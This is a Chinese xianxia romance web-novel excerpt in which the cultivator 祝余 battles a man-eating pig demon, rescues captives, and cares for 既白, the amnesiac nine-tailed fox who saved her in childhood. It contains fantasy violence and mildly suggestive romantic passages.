《那只狐狸是我的gb》
1. 重逢
“今日运气当真不错,瞧瞧这细皮嫩肉的,吃起来的滋味定然是好极了。”
说话声粗犷雄厚,说着还颇为用力的砸吧着嘴,似乎有些迫不及待了。
佯装昏迷的祝余听言,脑海中立马回想起幼时父母悲惨而死的画面,喉咙间立马泛起一股子反胃。
祝余强压下心中的不适感,闭着的双眼不着痕迹的掀开一条缝。
入眼是一片昏暗,手心触及到的是略微潮湿的泥土,鼻前闻到的也是独属泥土的味道,她心中得出结论,现在应该是在某处洞穴里。
洞穴里光线实在过暗,且她所处的位置为她提供了很大优势,她完全不担心会被发现,故而大胆的打量起黑暗中那个庞大的黑影来。
光线昏暗不清,黑影是背对着她的,但得益于修仙者的耳清目明,祝余还是看清了,那黑影是个猪妖,猪妖猪首人身,身形巨大,两只眼睛宛如铜铃,正哼哧哼哧的吐着粗气,骇人的獠牙在黑暗中泛着阵阵冷光。
祝余心中一惊,当即警铃大作,朱唇紧抿着,事情似乎有些难办,她看不出这猪妖是何实力,说明猪妖的修为在她之上,而她刚步入金丹。
她此番本是受师命下山,途径此地时察觉异常,故将计就计,本想探查清其中的奥秘,却不想这不起眼的村落中竟暗藏此等修为的妖。
此妖以人为食,不知残害了多少百姓,定不能再让他为祸人间。
黑影一晃,见是那猪妖动了,祝余立马闭上双眼,思忖起解决之法。
猪妖轻拍着自己圆鼓鼓的肚子,边走边嘟囔:“这个太老了,肉不好吃,这个太瘦了,都没肉,这个太……”
他嫌弃的挑挑拣拣一番,视线在触及到一个圆润的胖子时一亮,“就你了。”
猪妖抓住胖子的一只脚,宛如拖死羊一般,毫不费力的拖着胖子往外走,即使胖子早已陷入昏迷,脸上却也还是露出了痛苦的表情,可猪妖哪会在乎。
待窸窸窣窣的拖动声远去,祝余紧闭的眸子瞬间睁开,她盘坐起,纤长的手指在黑暗中几经变换,一只白鹊自她指尖跃然飞出,白鹊落在她肩上,亲昵的用头蹭着她,祝余抬手轻抚摸它的头柔声道:“去吧。”
白鹊得到命令,依依不舍的化作一抹微小的流光,朝外飞去。
祝余目送白鹊远去,面上表情凝重,希望能来得及。
她从地上站起,再一掐诀,一抹火光跳跃在她指尖,黑漆漆的洞穴顿时亮堂不少。
祝余打量四周,洞穴很大,一眼望不到出口,地上横七竖八躺着八九个人,都是昏迷不醒的状态,是那猪妖的手笔。
而她因为提前有所防备,所以并未中那猪妖的计。
祝余正思量着如何救下这些人,目光不经意间扫过某处,心蓦地一跳。
祝余一僵,瞳孔微张,不可置信的朝那人看去,苍白而又妖冶的面容,与自己日思夜想的那张重合。
她忙向那人走去,脚下步伐急促,飘动而起的裙摆昭示着主人情绪的紊乱。
直至站到他面前,祝余才从那种飘忽的不真实感中回神。
祝余咬着唇,目光一眨不眨的落在他脸上,她慢慢蹲下身,伸出手想要触及他,指尖轻颤,一如她疯狂跳动的心。
轻颤着的指尖在离他只有半分时停了下来,祝余屏住呼吸,目光贪婪的不放过他脸上的一丝一毫,是他,真的是他。
她轻呼:“既白。”
声音很轻,如羽翼划过心间,只有她自己能听到。
音落,她轻颤着的指尖也落到他眉心,指尖下的实感,让她再度恍惚。
“好久不见。”
十五年未见,他依旧如自己记忆中那般,似乎未曾有一丝差离。
恍惚间,她仿佛又看见了多年前笑着朝她招手,唤她小鱼儿的少年,而在这一刻,他们重合了。
与他的第一次相见,她永生难忘,毕竟是如此的不美好。
那时她六岁,爹娘都还在她身边,会逗她笑会抱她。
可在一次外出时偏逢不测,她们一家遇到了食人心的魔。
她仍记得那魔是何模样,仍记得那魔是如何生剖出爹娘的心脏,仍记得那魔是如何当着她的面,将爹娘跳动着的心脏咀嚼殆尽。
眼睁睁看着亲人以如此惨烈的方式在自己面前死去,甚至来不及多说一句话,那种无力感让她至今想起,仍觉窒息。
当时她知自己也难逃一死,绝望的闭上眼,准备迎接自己的命运。
可就在那魔将魔爪伸向她的心脏时,一柄银色长剑从他身后,刺穿了他的心脏,魔低头不可置信的看着贯穿身体的长剑,死不瞑目的闭上了眼。
魔物的血溅到她脸上,是温热的,她不明白,如此凶残的魔的血为何会同她爹娘的血一样是温热的。
魔物倒下,她看到了他,一身绯衣,艳如冬日红梅,一头银发,似月华无双,散落的银发里藏着一对狐耳,身后是九条毛茸茸的尾巴。
他收回长剑,那双好看的狐狸眼怜悯的看着她:“节哀。”
祝余仰头看他,眼中的泪如断线的珠子,控制不住的往下滑落,她再也没有爹娘了。
相比之前求魔物放过爹娘时的声嘶力竭,她现在哭的很安静,只是抬头静静的看着他,不住的落泪。
看着她这般,狐妖有些无措,狐耳慌乱动着,身后的尾巴也耷拉下来,他不会哄孩子。
好半响,他走到祝余身前蹲下,目光扫过地上死状惨烈的尸体,狭长的狐狸眼注视着她:“要不要和我一起埋葬她们?”
“要。”
祝余抹下脸上的泪,那是最爱她的爹娘,她当然要亲手埋葬她们。
祝余在林中选择了一块较为僻静的地方,这样就不会有人来打扰到爹娘了。
她从地上捡起一截树枝,一下一下戳着地上的土,等土松了再徒手将土扒开。
祝家算是富裕人家,她自小也是被爹娘娇养着长大的,不过几次,她小小的手指上就渗出了血迹。
站在一旁的狐妖看的心生不忍,几次欲帮她,但都被祝余拒绝了,她说,“爹娘向来疼爱她,如今她也该亲手埋葬她们才是。”
狐妖没再出声,只是默默的站在她身后陪着她,但却存在感十足,让人心安。
祝余将爹娘埋葬好时,天色早已入夜,入夜的树林却并不黑暗,是那狐妖怕她看不清,早早为她点燃火堆。
失去爹娘,她无疑是痛
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苦的,可此时燃烧着的火堆却给予她慰藉。
祝余看向火光后发呆狐妖,她不是一个人。
祝余慢慢走到狐妖前,狐妖容貌妖冶,光鲜亮丽,而她身上沾满了泥土,脏兮兮的。
明明昨天还不是这样的,她眼中闪过落寞。
她默默将自己满是污泥的双手藏到身后,清澈的眸子看向他,郑重的弯腰感谢道:“多谢你。”
又想到爹娘曾教过她,作人要知恩图报,她又道:“以后我会报答你的。”
狐妖闻言双耳微动,身后的九条尾巴有一下没一下的动着,手上无聊的戳着火堆,“好。”
显然是没把她说的话放在心上。
祝余看见了,倔强的看着他,再次重申:“我一定会报答你的。”
“嗯。”
这次狐妖抬起了头,打了个哈欠,“你家在哪?等天亮我送你回去。”
祝余见他还是没把自己的话当真,心中挫败,却也没再出声,她知晓现在的自己太小了,所说的话完全没有分量,只是在心中暗下决心,将来一定要报答她。
既然要报恩,自然要知道恩人的名字,祝余没回答他的问题,只是说道:“我叫祝余。”
狐妖似乎有些困倦了,手撑着下巴,又打了一个哈欠,“鱼?我也爱吃鱼。”
听此,祝余也没生气,认真为他解释道:“不是鱼是余,爹娘说有一种草叫祝余,食之不饥,希望她一辈子食无忧。”
狐妖身后的尾巴不动了,似乎是在思考,过了一会,他点点头:“好想是听说过这么一种草。”
“那你呢?”祝余没忘记自己的初衷。
狐妖抬头看天,停顿了片刻才道:“既白。”
祝余目光落在他身后的尾巴上,九条尾巴正杂乱无章的垂落在地上,他似乎不高兴了,是因为自己问了他的名字吗?
她手足无措的低下头,眼中慌乱,手指紧紧绞在一起,顿时有些埋怨自己。
“接着。”
听到声音,祝余茫然抬头,只见一物朝她袭来,她连忙伸手去接,东西落入怀中,她低头去看,包着的油纸也抵挡不住里面食物散发出的香味,肚子也适时的发出“咕咕”的叫声。
祝余稚嫩的小脸瞬间涨红,刚才都没觉得饿,怎么突然间……
可很快她又想到,他愿意给自己吃的,那是不是说明他不生自己的气了。
祝余心情急转,也松了一口气。
他是她失去爹娘后遇到的第一个对她好的人,而刚失去爹娘的人,情绪总是有些敏感的,她不希望自己被他讨厌。
“既白”祝余一遍一遍的在心中默念他的名字,想要将他的名字牢牢记下。
可还是有些不放心,自己年岁过小,她怕自己在不知不觉间忘了。
祝余偷偷抬眸朝他看去,狐妖正合眼靠在树上,胸口起伏平稳,似乎是睡着了。
晃动的火光下,他本就妖冶的面容更显绝色,他看起来是那么的好看,那么的遥不可及。
祝余眼中黯淡,明天以后,她又是一个人了。
祝余胡乱想着,顺手捡起掉落在地的树枝,一笔一划的写下他的名字。
“既白。”
2. 前尘往事
祝余垂眸再度看向眼前人,目光细细描摹他的眉眼。
她曾想过无数次与他重逢的场景,可她的期待在日复一日的等待中落了空。
“骗子,明明说好会来看她的。”
祝余虽说着责怪的话语,语气中却未见责怪之意。
十五年的等待,她曾设想过也许此生都无缘再见,可上天还是眷顾她的,开心都来不及,又怎会责怪。
回首故往,时间渐长,记忆却不见褪色,那一月虽短,却在她的心中留下浓重一笔。
让她至今忆起,仍觉鲜明。
……
天光大亮,林中的一妖一人却在大眼瞪小眼的僵持着。
起因是狐妖要送她回家,而祝余却死咬牙关,不肯说出家住何处。
又僵持了半响,狐妖无奈的动了动狐耳,妥协了,“那你要去何处?”
“我还有要事,是不可能带着你的。”说着还警惕的看她一眼,往后退了一步。
祝余看着突然被拉远的距离,心中莫名委屈,她的目光落在他身后的九条尾巴上,似乎很怕被她缠上,摇动的频率都加快不少。
祝余落寞的低下头,虽说自己从未如此想过,可瞧见他这般的抗拒,说不难过是不可能的。
“我要去求仙问道。”祝余盯着地面,说的坚定有力。
爹娘此行本就打算送她去拜入仙门的,却不想途中遇到了魔物,以至于惨死。
想到爹娘,她眼中的坚定更多了几分,那种让人窒息的无力感,她此生不想再体会第二次,只有自己强大了,方不会如此。
狐妖手指卷起落在肩上的一缕发丝把玩,好看的狐狸眼打量着她,人儿虽小话语却格外的有力,想起她的遭遇,到底心生不忍。
罢了,他找了那么久也不见丝毫线索,迟上月余也不碍事。
说不定此行就有了线索呢。
狐妖放下手中的银发,百无聊赖的斜靠在树上,晨光透过窸窣树叶洒落照在他脸上,约莫是觉得刺眼,他抬手覆盖在眼睛上,声音散漫,“想好要拜入何处宗门了吗?”
“嗯。”祝余看着他点头,“想好了。”
早在出发时,爹娘便已精心为她选好宗门。
“玄清宗。”
狐妖狐耳微动,放下覆在眼睛上的手,站直了身,只见毛茸茸的狐耳狐尾逐渐消失,如月色般的银发也被黑发取代,身上一袭抓人眼球的红衣也变成了普通的黑色。
祝余看着眼前一幕,震惊的瞪大了眼。
狐妖走到她面前,似乎是被她的表情取悦到,轻笑了两声,弯腰看着她问:“害怕吗?”
祝余沦陷在他突然靠近的美色里,呆呆的摇头:“不怕。”
狐妖满意的点点头,站直身,“那走吧。”
祝余尚未反应过来,他已率先走出几步,好半响,呆站着的祝余才理解他的意思。
怕他突然反悔,祝余不敢耽搁,三两步跟了上去。
原本,她是打算自己一个人去的,但现在她有伴了,祝余眼中是遮不住的喜色,发亮的眸子悄悄看向他,心中一阵暖意流淌。
祝余收回偷看的目光,手不自觉的攥紧,小声道:“谢谢。”
又补充道:“既白哥哥。”
祝余眼中闪过一丝困惑,她本是打算唤他一声哥哥的,不知为何“既白”二字先出了口。
既白随手折下路边的树枝,随意拨弄着,漫不经心的点头,“顺手的事,免得你这条小鱼儿被路边的“豺狼”吃了。”
祝余在心中默默反驳,是“余”不是“鱼”,却也没出声,算是接受了他对自己的称呼。
一个月的时间,说长不长说短也不短,玄清宗到了。
记忆的最后,是他站在山脚下笑得灿烂,朝她挥手,“小鱼儿,再见。”
相处了一个月,现在突然要面对离别,年幼的祝余心中也很是不舍,但她清楚的知道自己的使命。
祝余忍着眼中的泪,双眼痛红的看向他问:“你会来看我吗?”
似乎是被她突然的话问懵了,既白一愣,嘴角的笑意淡了下来。
他低头蹙眉,似是在思考。
祝余目光倔强的看着他,仿佛只要他不给出答案,她就不会移开视线。
不知等了多久,祝余心中代表希冀的火光逐渐熄灭,就在她以为他会拒绝她时,只见他在她目光下微微点头,好看的狐狸眼对视上她,认真作出承诺,“我当然会来看小鱼儿。”
得到想要的答案,祝余不再犹豫,她转身走上上山的台阶,台阶层层叠叠,怎么也看不到尽头,她的眼神却一如既往的坚定,往后的路,只有她一个人走了。
……
但他失约了。
十五年,似乎很漫长,但现在回想起,又觉得不过如此。
恰在此时,祝余敏锐察觉到黑暗中有东西在靠近,是那猪妖回来了,她抬手一挥,那一簇小火苗便消失,洞穴内又恢复成一片黑暗的模样。
她放缓呼吸,重新躺回地上。
没几秒,猪妖的声音由远及近,“一个人还不够我塞牙缝呢!”
猪妖剔着牙,贪婪的目光来回打量,“这次吃谁好呢!”
感觉到猪妖凶狠的目光落在自己身上,祝余暗道不妙,这里离宗门甚远,也不知白鹊何时能到。
此地地处偏远,且灵气稀薄,一般不会有修士来此,也许是因为这个原因,猪妖很是自负,并未对她们多加管制。
她原本的计划是趁着夜间猪妖毫无防备时,将这些人悄悄带出去,但眼下有变故,也只能走一步看一步了。
“就你了。”猪妖咽了咽口水,“虽然瘦是瘦了些,但偶尔换换口味也不错。”
猪妖上前,将祝余抗到肩上,咂了咂嘴:“这细皮嫩肉的,可不能将皮拖坏了。”
猪妖身上臭味熏天,祝余几欲想吐,强忍住唤出金麟剑的冲动,此时还不是最好时机。
又走了一会,猪妖停了,他野蛮的将祝余仍到地上,为了防止猪妖发觉,祝余没动用修为护体,就这么硬生生摔到地上,摔的生疼,还好她提前有所准备,死死咬住了牙关,没叫猪妖察觉异常。
“生吃都
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吃腻了,这个就蒸着吃吧。”说着猪妖还心情颇为不错的哼着歌。
祝余趴在地上,确认猪妖是背对着自己的,她睁开眼睛,入眼便是满地的白骨骷髅,数量之多,让她忍不住为之震惊。
这猪妖竟吃了这么多人,而此地又灵气稀薄,想必他就是靠此提升修为的。
这么多年了,如此多的人失踪,却不曾听闻任何消息,让猪妖成长至此,定然是某一环节出了问题。
就是现在,祝余掐准时机,一个利落的翻身,呵道:“金麟。”
一道黑光猛然出现,一柄通体如墨的长剑出现在祝余手中,她手握长剑,趁着猪妖没有防备狠狠刺去。
猪妖转身,如铜铃般的眼睛中露出凶光,“竟是修士。”
随后又舔了舔嘴,“这可是大补,吃了你,我的修为将能大大提升一步。”
猪妖用力跺脚,山体晃动,泥土簌簌而落,大叫道:“斧来!”
猪妖手握巨斧,不过是轻轻一挡,祝余的全力一击便被他化解。
祝余往后凌空一闪,握着金麟剑的手发麻,她看向自己握剑的手,眼中情绪不明,还是太弱了。
“不过如此。”猪妖轻嗤。
“接下来,该我了。”
猪妖哼哧两声,手握巨斧,朝着祝余劈来,骇人的獠牙在巨斧的映衬下闪着森然冷光。
祝余身形一动,堪堪躲开,刚才所站之处,已被坍塌的黄土所掩。
祝余手持金麟剑,一丝鲜血从她嘴角溢出,她的目光是前所未有的凝重,猪妖比她预想的还要强大。
可就此认输,也不是她的行事风格。
更何况,祝余眼神晦暗,既白也在此处。
想起师父曾说过“万物皆有弱点”,而她不能自乱阵脚,祝余凝神,开始观察起猪妖的一举一动。
须臾,祝余心中有了计较,再次举起长剑直刺猪妖下首,猪妖果然提斧去挡,就在长剑即将碰撞到巨斧时,她却突然跃起提剑直冲猪妖眼睛。
眼——观万物。
猪妖果然慌了神,连忙提斧去挡,可到底慢了半拍,金麟剑从猪妖脸上划过,留下一条长长的血痕。
祝余心中可惜,差一点。
猪妖伸手抹了一把脸上的血,铜铃般的眼中尽是凶狠,竟敢伤他,他要将这个人类修士劈成两半。
“人类,受死吧。”猪妖想也不想的就提斧朝祝余劈去。
祝余连连闪躲,凭借自身的灵活,在猪妖的巨斧下,绝境逃生,你来我往一追一逃,她唇角艳红的血迹越来越多,而猪妖也没占到便宜,稍不注意就被她刺上一剑。
猪妖心中的愤怒越积越深,铜铃般的眼中几乎要喷出火来,“该死的人类修士。”
斧头再次从身后劈来,祝余又一次堪堪躲过,握着金麟剑喘息,她站的笔直,细密的汗珠从额角滑落,唇角的血迹更为其增添了几分坚韧不屈。
祝余心知自己不是猪妖的对手,故而一直在拖延时间激怒猪妖,愤怒会让人失去理智,轻敌便是猪妖最大的弱点。
而现在时机到了。
3. 情不知所起
等猪妖握着巨斧再次劈来时,祝余有意为之,动作微滞,仿佛力竭了,及时提剑去挡,却被巨斧的力量震倒在地。
金麟剑从手中脱落,祝余失了力跌倒在地,噗的吐出一大口鲜血,血迹染红了她的衣服,奄奄一息的模样,如残阳下摇摇欲坠的枫叶。
猪妖见她没了还手之力,用力一擦脸上的血,提着巨斧走过来,布满剑伤的猪头显得分外滑稽,“这就是冒犯我的代价。”
祝余躺在地上气若游丝,仿佛下一秒就会停止呼吸,她在等一个绝佳的机会,见猪妖的注意力全在自己身上,她掩在衣袖下的手用力一握,闭眼感受起自己与金麟剑的联系。
在猪妖没注意到的角落,通体如墨的金麟剑剑身一颤。
猪妖居高临下的看着垂死的祝余,举起手中的巨斧,铜铃般的眼中满是得意,修士又如何,还不是要死于他斧下。
“该死的人类修士,去死吧!”
眼看巨斧就要朝祝余劈来,千钧一发之际,祝余猛地睁开了眼,不带任何情绪的眼眸死死的盯着猪妖心脏的位置。
巨斧落下之际,祝余大声叫道:“金麟,去!”
金麟剑身上闪过一抹黑色流光,唰地黑影一闪而过,乌黑的利剑立在猪妖身后,“噗呲”是剑刃刺入□□的声音。
猪妖低头,剑刃惯穿了他的胸口,红与黑交织,血止不住的往外涌,相比于疼痛,更多的是对生命流逝的恐惧。
生命力一点一点的流失,让他心慌。
猪妖彻底震怒,他一定要杀了这个人类修士,以泄心头之愤。
但眼下重要的是他的小命,猪妖手猛地拍向伤口,金麟剑被震出,猪妖捂着伤口,看着祝余咬牙切齿,“我一定要杀了你。”
说完,就向外逃窜而去。
祝余松了口气,没能将猪妖斩杀,这是预料之中的事,毕竟猪妖修炼多年,身上怎么可能没有保命的法宝,但好歹将他赶跑,得以一丝喘息。
猪妖随时都有回来的可能,祝余不敢掉以轻心,服下一粒丹药后,手背将唇角的血污抹去,当务之急是将这里的人送下山去。
祝余手中掐诀,将剑往空中一抛,正常大小的金麟剑瞬间变得巨大,将所有人都弄到剑上,既白被她抱在怀中,她一跃上剑,御剑下山。
……
丰城城门外,祝余将其余人放到显眼的位置,怀抱着既白入了城。
她容颜清冷,衣上沾血,怀中又抱着名昏迷的男子,如此别致的造型,一路上属实是招了不少目光,为了躲避路人怪异的目光,她很快找了间客栈落脚。
祝余动作温柔的将人放到床榻上,确认他没有问题,这才放心的去清洗自己。
祝余回来时,人仍旧未醒,只见他紧闭着眼仿佛睡着了一般。
只是沉睡的人,睡梦似乎并不安稳,好看的脸紧皱着。
祝余心中担忧至极,朱唇紧抿着,纤长手指探上他手腕间的脉搏,脉搏平稳,可却未见醒来之意,眼中布满忧虑,忍不住低语:“为何还不醒?”
因着不放心他,便不敢再离开半步,她盘腿而坐,视线自然而然的落到他好看的脸上。
祝余看着他出神,刚入玄清宗时,她时常会在孤独的夜间想起他,但那时是因为感恩。
她低眸沉思,对他的感恩之情究竟是何时发生的改变?
十五年的过往,如画卷般在她脑海中一一展开,祝余小巧的耳垂突然泛红,她想起来了。
那次是和同门们一起下山做任务,某个师弟非要带他们去长见识,宗门修炼枯燥乏味,难得下山,同门们跃跃欲试,迫于无奈,她也去了。
却不想,那师弟居然带他们去勾栏瓦舍,那时她还不太清楚那是什么地方。
勾栏瓦舍里走动的行人众多,不出意外的,她和师弟们走散了,想着来都来了,不如看看,她随手推开了一舍门。
门后所见之景,实在新奇,只见一男子衣衫不整的躺在床上,发丝凌乱,眼尾泛红,口中不时发出奇怪的呻吟,似痛苦又似愉悦,男子面前是一女子,女子手中正拿着一物在男子身下摆弄。
那时,她尚不知她们是在做什么,却隐约知晓这不是自己该看的。
她正欲退出,那床上的男子却发现了她,可男子不禁没有呵斥她,反而用腿将女子勾的更近了些,嘴中奇怪的呻吟也叫的更大声了,还对着她奇怪的眨眼睛。
那时她不懂,但现在她懂了,那叫抛媚眼,也明白了她们做的是何事。
祝余脸上莫名一热,心跳的奇怪,便匆匆退了出去。
当天晚上,她便做了个梦,梦中依然是那幅场景,只是男子变成了既白,女子变成了她,既白妖冶的容颜魅惑好看,她不由自主的伸出手,与白日所见不同的是,那男子是用腿勾人,而梦中的既白,则是用九条毛茸茸的尾巴将她缠的紧。
时至今日,她仍未忘记这场梦,也依稀记得,醒来后的自己,除了脸红心跳,心中还有欢愉。
后来,再想起他时,心中总是多了几分说不清道不明的意味。
也许便是从那时起吧。
再后来,随着修为的进步,她便很少再梦到他,只能在一个个夜深人静的夜晚,独自忆起梦中他因自己满脸潮红的样子。
年岁渐长,她知晓的越来越多,却依然放纵自己在无人的夜晚想起他。
待她幡然醒悟时,一切已晚已。
情不知所起,却一往而深。
那时,她已然明白,他不会来看她,她的喜欢也无处诉说。
她将这份喜欢深藏在心底,让他成为自己的秘密。
但,他们再度相遇了。
祝余目光晦涩,修长的指尖落在他眉间,轻抚他如画般的眉眼,指尖每动一下,埋藏在心底的爱意,便汹涌一份。
烛光摇曳,将她的身影拉长,将身下人笼罩,一如她的心思。
就在此时,既白紧闭的羽睫轻颤,是醒来之兆。
祝余连忙收回手,紧张的看着他,在她的目光下,浓密卷翘的羽睫颤了一下又一下,宛如振翅欲飞的蝴蝶,最终缓缓打开。
祝余紧悬着的心,终于能落回实处。
“你醒了,要不要喝水。”
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既白迷蒙了片刻,好看的狐狸眼望向她,祝余大大方方的任他打量,心中莫名紧张,目光紧盯着他脸,不放过他脸上的任何表情。
既白的眼神清澈无害,除此之外,再无其他,祝余心中失落,他没有认出她。
也许他早已忘了她,想到这种可能,心中一阵刺痛。
既白点头,发出的声音沙哑:“要。”
应当是太久没说话的原因。
祝余掩盖好心中的失落,将他扶起来,倒了一杯水给他。
既白接过,沙哑道:“谢谢。”
便低头慢慢喝起来。
见他喝完,祝余上前接过杯子,关心的问道:“还喝吗?”
既白没说话,看着她摇头。
祝余将杯子放回原处,又走到床榻边坐下,两人谁都没说话,就这么安静的互相看着。
祝余蹙眉,人还是记忆中的样子,但眼神不对。
他现在的眼神过于清澈,恍若幼童。
心中闪过不好的预感,她紧盯着他,小心翼翼的开口:“你可还记得自己的名字?”
既白看向她,歪头思考,过了片刻,摇摇头,“我不记得了。”
又眼神悲伤的看向她,“我好像忘了很重要的事。”
既白垂眸,双手抱头,不住的捶打自己脑袋,独自低语:“到底是什么事?”
祝余心头一跳,怎会如此,他到底经历了什么?
来不及细想,怕他伤害到自己,祝余动作温柔的拿下他的手,低声安慰,“我知道是什么事。”
“真的吗?”既白茫然的看向她。
“嗯。”怕他不信,祝余用力点头,“当然是真的。”
祝余没说慌,她们相处过一个月,她曾听他提起过,他在找一座山,一坐对他很重要的山。
他似乎找了很多年,但始终没找到,十五年过去,他不知经历了什么,记忆全失,那定然是没有找到。
祝余也曾心生过好奇,在玄清宗的藏书阁查找过,书中记载的山有千千万万,却唯独没有他要找的那座山。
但眼下,他的情况很显然不适合再去寻找。
“我会帮你。”祝余看着他的眼睛作出承诺。
除了自己的私心,早年间他也确实是救过她,于情于理,她都不能放任不管。
更何况,她承诺过要报恩的。
既白困惑的看向她,似是在思考她为何如此。
祝余摊开他的手心,指尖轻划过,慢慢写下他的名字,“既白,你的名字。”
他也不挣扎,任由祝余动作,他思考了一会,点头,“我记住了。”
祝余看着他,眼中泛起笑意,现在的他,实在是太过乖巧听话,像极了小狗。
可这人明明是只狐狸。
她又继续低头,在他手心一笔一划的写下自己的名字,对视上他淡蓝色的瞳孔,“祝余,这是我的名字,这次不要忘了。”
既白感受着手心的柔软,闻言,认真的点头,“好,不会忘。”
“祝—余。”
“我在。”
4. 束发
一夜过去,打坐一夜的祝余睁开眼,眸中流光轻闪,第一时间看向床上的人。
既白早已醒了,安静窝在被子里,好看的狐狸眼正一眨一眨的看着她。
甚是呆萌好看,唯一美中不足的是少了他独特的狐耳狐尾。
祝余记得,他很喜欢自己的狐耳狐尾,曾经相处的那一个月里,只要没别人时,他都会露出来,肆意的摇晃。
如今狐耳狐尾处空荡一片,祝余眼底闪过遗憾,其实她也很喜欢他毛茸茸的狐耳狐尾。
曾经,她也生过摸摸他狐耳狐尾的念头,可那时她不敢开口。
可如今,祝余眼中的狡黠一闪而过,他失忆了,正是好机会。
祝余起身,在他一眨一眨的注视下,她来到他跟前,没忍住伸出手,摸向他柔软的发顶。
手心的触感甚好,另一种想法油然而生,如若换成他的狐耳,那将会如何。
祝余揉着他发顶,带着诱哄轻声道:“既白,让我看看你的狐耳狐尾好不好。”
即白瑟缩了下,眼中的抗拒明显,他咬着唇纠结,“一,一定要看吗?”
祝余一征,脑海中是他曾经整日晃着尾巴的满足模样,与他如今的抗拒,形成了鲜明对比。
心中突的一痛,酸楚横生,他经历了什么,才会让他曾经最喜欢的事,如今变得恐惧,到底经历了什么,才会让他纵使忘记,却依然本能的害怕。
祝余咽下心中酸楚,安慰的揉了揉他发顶,冲他扯出一抹笑,“骗你的,不看了。”
既白肉眼可见的松了口气,紧皱着的眉心,也舒展开来,他好看的狐狸眼中尽是纠结,在她身边,他感到安心,也很喜欢她。
可内心有一股恐惧,一直在深深的笼罩着他,有一道声音一直在告诉他,露出尾巴,会发生非常痛苦的事。
见他依旧在纠结,祝余瞥见他凌乱的发丝,开口道:“我帮你束发可好?”
既白的注意力果然被转移了,他含笑朝她点头,毫不犹豫的答应下来,“好。”
好在客栈里该有的一应俱全,祝余带着他来到梳妆台前坐下,拿起台上的梳子,轻轻为他梳发,祝余还担心会弄疼他,但他的发质很好,并没有打结的情况,发丝一梳就梳到尾。
祝余看向铜镜,铜镜十分清晰,将她二人照的分明,镜中的她们离得很近,交颈缠息,极为亲密。
祝余有一瞬的恍惚,她曾见过如此场景,在她的记忆中,爹爹总是如此为娘亲描眉梳发的。
她敛眉,思索片刻,脑海中勾勒出一个适合他的发型,自他两边各取出一缕发丝,交融在一起,发带穿过她指间,缠绕在他发丝上,没多时便束好了。
祝余看向镜中,甚是满意自己的杰作,好看的人只束一根简单发带也是好看的。
她略微惋惜,此次出行,可惜身上只带了这根素色发带,等回去后,便送他一根更漂亮的发带。
透过铜镜,祝余对上了他的视线,她笑着询问道:“可还喜欢?”
既白对着镜子左右看了看,好看的狐狸眼中是藏不住的喜色,怕她不信,用力的点着头,“喜欢的。”
祝余往前一步,与他更近了些,从镜中看,他彻底被她笼罩在怀中,她手指勾住他的一缕发丝把玩,声音温柔,“既白可知在人间女子为男子束发,代表着什么?”
既白闻言,好奇的抬头,清澈的眼神看向她,想了片刻,迷茫的摇头,“不知。”
“是什么意思?”他追问。
祝余愉悦的轻笑一声,说道:“答案要既白自己去寻找。”
她正欲再说什么,门外却突然传来有序的敲门声。
叩—叩叩——
是谁?
祝余皱眉,沉思了片刻,还是上前将门打开,“咯吱”一声,门外是一女子,周身气质斐然,容貌出众,手中持长剑,身上穿着与她相同的宗门服。
来人让她惊喜出声:“五师姐。”
“师妹。”来人笑着朝她点头。
祝余是剑尊座下最后一名亲传弟子,排行第七,是最晚入门的,她入门时前面几位师姐师兄大多都在闭关修炼,平日里难得见一面。
在她入门后不久,师尊也去闭关修炼了,是五师姐一直在指导她修炼。
而她入门十五载,至今也没见过大师兄与二师姐,听人说,大师兄是独自外出寻找飞升的机缘多年未归,二师姐则是在她入门那年,前往一个秘境,此后便没了消息。
五师姐在她心中是特殊的,亦师亦师姐。
将人迎进屋里,她疑惑出声:“师姐,你怎么来了?”
时灵兮一眼看到了屋中的既白,眼中惊艳一闪而逝,挑眉,暗自咋舌,看来师妹此行下山艳福不浅。
她收回目光,伸出手,祝余在山洞时放出的那只白鹊,赫然在她掌心。
时灵兮温声解释道:“在路上遇到了,得知师妹有麻烦,便来相助。”
说完,时灵兮目光上下打量祝余,“受伤了?”
她一抬手,仍出一瓶丹药给她。
眼中含着认真说道:“师姐为你报仇。”
祝余接过丹药,笑着回答:“什么都瞒不过师姐。”
她的话,更是让她心中一暖,真诚道:“师姐真好,谢谢师姐。”
师姐早已结婴多年,若非这么些年一直在指导剑峰的弟子修炼,修为早已更为一步。
而那猪妖不过是金丹后期,师姐对付他绰绰有余。
白鹊早已飞回她肩上,正亲昵的蹭着她,祝余感受到一道明显的目光。
抬头看去,正是既白狐狸眼一眨不眨的盯着她肩上的白鹊看,见他似乎喜欢,祝余拿下肩上的白鹊,摸摸它的头,让它朝既白飞去。
白鹊落在既白手心,他十分好奇的打量着手上白色的鸟儿。
祝余收回目光,继续向师姐讲解起那猪妖的所作所为来。
“师姐,那猪妖吃了不少人。”
时灵兮将这一幕尽收眼底,她记得师妹可宝贝这只白羽鹊了,在宗门时可不愿意让人随意触碰的,如今竟主动给那人。
时灵兮嘴角含笑,眸中意味深远,看来师妹要有道侣了。
时灵兮听
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她说完,点点头,随后站起身,“让我去会会那猪妖。”
纵然知道师姐的实力,但祝余还是不放心的叮嘱道:“师姐万事小心。”
“嗯。”时灵兮收下她的关心,“师妹等我回来。”
时灵兮立即御剑向城外的山头飞去。
丰城灵气稀薄,很少有修为高强的修士来此,城内百姓第一次见能御剑飞行的修士,纷纷停下脚步仰望,更有甚者跪下磕头,喊着仙人。
祝余见此,颇为头疼,忘记和师姐说出了城门再御剑飞行了。
好在随着时灵兮的远去,丰城内的骚动也逐渐平息。
祝余回头,白鹊正站在桌子上,与既白正大眼瞪小眼,一鸟一狐狸如此,她看的有些忍俊不禁。
说起来,这白鹊还是既白送他的。
那时,她刚失去爹娘,总忍不住一个人在夜间偷偷抹眼泪,在一个月明星稀的夜晚,既白离开再回来时,怀中有着一只还未长羽毛的雏鸟。
他说,鸟儿的父母似乎被其它动物吃了,只留下它嗷嗷直叫,可怜极了。
他将小小的雏鸟递给,“我觉得它和你挺像的,以后就由你来照顾它了。”
祝余手点着唇回想起,后来因为忙于照顾雏鸟,她似乎的确是没时间再哭了。
直白的目光看向既白,脑海中回想起他曾经的所作所为,在她心中留下如此浓重一笔的人,的确是让她很难忘怀。
但好在,他如今就在她身边,想到此,心中一阵满足,她有很多的时间去让他记住她。
祝余走近,拿出一袋灵米递给他,指了指白鹊,“它喜欢吃这个。”
既白深信不疑的接过,倒出一部分灵米在桌上,白鹊头一点一点的吃起来。
